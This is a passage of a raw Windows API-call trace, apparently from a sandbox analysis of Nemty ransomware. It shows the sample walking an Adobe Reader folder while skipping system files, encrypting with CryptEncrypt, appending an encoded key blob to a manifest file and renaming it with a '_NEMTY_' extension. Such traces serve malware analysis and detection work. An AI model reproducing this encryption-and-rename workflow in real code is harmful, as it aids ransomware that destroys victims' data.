(lpString1="Adobe.Reader.Dependencies.manifest", lpString2="IO.SYS") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="boot.ini") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="boot.ini") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="AUTOEXEC.BAT") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="ntuser.dat") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="desktop.ini") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="CONFIG.SYS") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="RECYCLER") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="BOOTSECT.BAK") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="bootmgr") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="programdata") returned -1 [0170.178] lstrcmpiW (lpString1="Adobe.Reader.Dependencies.manifest", lpString2="appdata") returned -1 [0170.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94178 [0170.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe.Reader.Dependencies.manifest", lpUsedDefaultChar=0x0) returned 34 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941d0 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe.Reader.Dependencies.manifest", lpUsedDefaultChar=0x0) returned 34 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94178 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe.Reader.Dependencies.manifest", lpUsedDefaultChar=0x0) returned 34 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94178 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0170.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe.Reader.Dependencies.manifest", lpUsedDefaultChar=0x0) returned 34 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94178 [0170.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94230 [0170.179] Sleep (dwMilliseconds=0x5) [0170.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x19171df0, dwHighDateTime=0x1d561e8)) [0170.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x19171df0, dwHighDateTime=0x1d561e8)) [0170.202] GetLastError () returned 0xb7 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.203] GetLastError () returned 0xb7 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.203] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0170.203] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0170.203] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.203] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="kQljtLoGEmVvJPBlTOR0vJuxv6aE298lW+7T4iobbt4b4KiZchXl0XeXSshaPRFZ\r\ny/VZgcSXIHxx6sR9Hf9dWGtcx/5KNgL2E9aCrRUjgZV/7wTsDaLdosVeVYFidulT\r\nA9uDvwUPixL3RbRXvC3CAA2bxqhno7IlbVUuGs4ZR5Xjn6NOdz/Hzar7RtLOL+mt\r\nxv3/A3pd4uyjm+Ez54M5QSd63jVQue/ZKKX8ujyJ4SkYdWco6+bflMfyU+tXxUrQ\r\npeyEYhR8PXtTSyBP/763f0VQl6QAtfrAiyks5VVC7BXsC0u0zIJRQM92fcH/4tcw\r\nQIQZlk61kmQ4vIat4NLZVw==\r\n", pcchString=0x653ec5c) returned 1 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.203] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0170.211] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1472) returned 1 [0170.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c0) returned 0x6343fe8 [0170.211] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.212] ReadFile (in: hFile=0x1ec, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653eea4*=0x5c0, lpOverlapped=0x0) returned 1 [0170.213] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.213] WriteFile (in: hFile=0x1ec, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653ee9c*=0x5c0, lpOverlapped=0x0) returned 1 [0170.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0170.213] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c0 [0170.213] WriteFile (in: hFile=0x1ec, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0170.213] CloseHandle (hObject=0x1ec) returned 1 [0170.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942e8 [0170.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0170.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0170.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.215] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest._nemty_kgobjgd_")) returned 1 [0170.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0170.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.216] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128fa0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2=".") returned 1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="..") returned 1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="...") returned 1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="windows") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="$RECYCLE.BIN") returned 1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="rsa") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="NTDETECT.COM") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="ntldr") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="MSDOS.SYS") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="IO.SYS") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="boot.ini") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="boot.ini") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="AUTOEXEC.BAT") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="ntuser.dat") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="desktop.ini") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="CONFIG.SYS") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="RECYCLER") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="BOOTSECT.BAK") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="bootmgr") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="programdata") returned -1 [0170.216] lstrcmpiW (lpString1="AdobeCollabSync.exe", lpString2="appdata") returned -1 [0170.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.exe", lpUsedDefaultChar=0x0) returned 19 [0170.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0170.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.exe", lpUsedDefaultChar=0x0) returned 19 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.exe", lpUsedDefaultChar=0x0) returned 19 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.exe", lpUsedDefaultChar=0x0) returned 19 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.217] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb8fa0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2=".") returned 1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="..") returned 1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="...") returned 1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="windows") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="rsa") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="NTDETECT.COM") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="ntldr") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="MSDOS.SYS") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="IO.SYS") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="boot.ini") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="boot.ini") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="ntuser.dat") returned -1 [0170.217] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="desktop.ini") returned -1 [0170.218] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="CONFIG.SYS") returned -1 [0170.218] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="RECYCLER") returned -1 [0170.218] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.218] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="bootmgr") returned -1 [0170.218] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="programdata") returned -1 [0170.218] lstrcmpiW (lpString1="AdobeLinguistic.dll", lpString2="appdata") returned -1 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeLinguistic.dll", lpUsedDefaultChar=0x0) returned 19 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeLinguistic.dll", lpUsedDefaultChar=0x0) returned 19 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeLinguistic.dll", lpUsedDefaultChar=0x0) returned 19 [0170.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeLinguistic.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 